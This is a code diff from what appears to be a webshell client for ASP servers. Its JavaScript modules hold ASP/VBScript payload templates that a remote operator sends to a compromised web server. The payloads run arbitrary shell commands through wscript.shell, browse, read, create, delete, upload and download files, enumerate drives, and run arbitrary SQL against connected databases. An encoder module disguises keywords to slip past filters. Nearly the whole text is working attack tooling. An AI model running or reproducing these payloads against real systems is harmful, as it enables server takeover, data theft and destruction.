// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp']; // var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) { if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose return verbose ?
? { {
encoding: defaultEncoding, encoding: defaultEncoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} } :
: defaultEncoding; defaultEncoding;
} else { } else {
encoding = encoding.toUpperCase(); encoding = encoding.toUpperCase();
return verbose return verbose ?
? { {
encoding: encoding, encoding: encoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} } :
: encoding; encoding;
} }
} }
......
...@@ -7,10 +7,10 @@ ...@@ -7,10 +7,10 @@
'use strict'; 'use strict';
/* /*
* @param {String} pwd 连接密码 * @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组 * @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组
*/ */
module.exports = (pwd, data) => { module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) { let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) {
// asunescape(%) 表示括号内的内容不会被 URL 编码 // asunescape(%) 表示括号内的内容不会被 URL 编码
......
...@@ -4,10 +4,12 @@ ...@@ -4,10 +4,12 @@
*/ */
module.exports = () => ({ module.exports = () => ({
info: info: {
`Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`, _: `Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`
},
probedb: // 检测数据库函数支持 probedb: // 检测数据库函数支持
`Function fe(strobj): {
_: `Function fe(strobj):
on error resume next: on error resume next:
fe=0: fe=0:
server.CreateObject(strobj): server.CreateObject(strobj):
...@@ -17,5 +19,6 @@ module.exports = () => ({ ...@@ -17,5 +19,6 @@ module.exports = () => ({
m=split(m,"|"): m=split(m,"|"):
for i=0 to ubound(m): for i=0 to ubound(m):
Response.Write(m(i)&chr(9)&fe(m(i))&chr(10)): Response.Write(m(i)&chr(9)&fe(m(i))&chr(10)):
next:`.replace(/\n\s+/g, ''), next:`.replace(/\n\s+/g, '')
},
}) })
\ No newline at end of file
...@@ -4,14 +4,12 @@ ...@@ -4,14 +4,12 @@
module.exports = (arg1, arg2) => ({ module.exports = (arg1, arg2) => ({
exec: { exec: {
_: _: `Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
`Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
[arg1]: "#{hex::bin}", [arg1]: "#{hex::bin}",
[arg2]: "#{hex::cmd}" [arg2]: "#{hex::cmd}"
}, },
listcmd: { listcmd: {
_: _: `AA=Split(""&bd(Request("${arg1}"))&"",","):
`AA=Split(""&bd(Request("${arg1}"))&"",","):
Set FS=CreateObject("Scripting.FileSystemObject"): Set FS=CreateObject("Scripting.FileSystemObject"):
For Each A in AA: For Each A in AA:
Response.Write(A&chr(9)): Response.Write(A&chr(9)):
......
...@@ -5,28 +5,24 @@ ...@@ -5,28 +5,24 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
// [arg2]: '#{dbname}' // [arg2]: '#{dbname}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}' [arg2]: '#{hex::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}', [arg2]: '#{hex::sql}',
} }
......
...@@ -5,27 +5,23 @@ ...@@ -5,27 +5,23 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}' [arg1]: '#{hex::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}' [arg2]: '#{hex::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}', [arg2]: '#{hex::sql}',
} }
......
...@@ -5,8 +5,7 @@ ...@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open bd(Request("${arg1}")): Conn.Open bd(Request("${arg1}")):
If Err Then: If Err Then:
...@@ -32,8 +31,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -32,8 +31,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then: If Err Then:
...@@ -60,8 +58,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -60,8 +58,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then: If Err Then:
...@@ -86,14 +83,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -86,14 +83,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
Conn.Close: Conn.Close:
End If: End If:
Set Conn=Nothing: Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g,''), Response.Write(SI)`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}' [arg2]: '#{hex::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9): Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):
RN=chr(13)&chr(10): RN=chr(13)&chr(10):
......
...@@ -5,8 +5,7 @@ ...@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open bd(Request("${arg1}")): Conn.Open bd(Request("${arg1}")):
If Err Then: If Err Then:
...@@ -34,8 +33,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -34,8 +33,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then: If Err Then:
...@@ -62,8 +60,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -62,8 +60,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then: If Err Then:
...@@ -91,8 +88,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -91,8 +88,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
Conn.DefaultDatabase=""&Request("${arg3}")&"": Conn.DefaultDatabase=""&Request("${arg3}")&"":
Dim CO,HD,RN: Dim CO,HD,RN:
......
...@@ -4,74 +4,63 @@ ...@@ -4,74 +4,63 @@
module.exports = (arg1, arg2, arg3) => ({ module.exports = (arg1, arg2, arg3) => ({
dir: { dir: {
_: _: `Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,
`Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
delete: { delete: {
_: _: `Dim P:P=bd(Request("${arg1}")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
`Dim P:P=bd(Request("${arg1}")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
create_file: { create_file: {
_: _: `CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("${arg1}"))&"").Write(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"):End If`,
`CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("${arg1}"))&"").Write(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"):End If`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{hex::content}" [arg2]: "#{hex::content}"
}, },
read_file: { read_file: {
_: _: `Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("${arg1}")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If`,
`Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("${arg1}")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
copy: { copy: {
_: _: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)`,
`SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{hex::target}" [arg2]: "#{hex::target}"
}, },
download_file: { download_file: {
_: _: `Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("${arg1}"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If`,
`Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("${arg1}"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
upload_file: { upload_file: {
_: _: `Dim l,ss,ff,T:ff=bd(request("${arg1}")):ss=Request("${arg2}"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)`,
`Dim l,ss,ff,T:ff=bd(request("${arg1}")):ss=Request("${arg2}"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{buffer::content}", [arg2]: "#{buffer::content}",
[arg3]: "1" [arg3]: "1"
}, },
rename: { rename: {
_: _: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)`,
`SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{hex::name}" [arg2]: "#{hex::name}"
}, },
retime: { retime: {
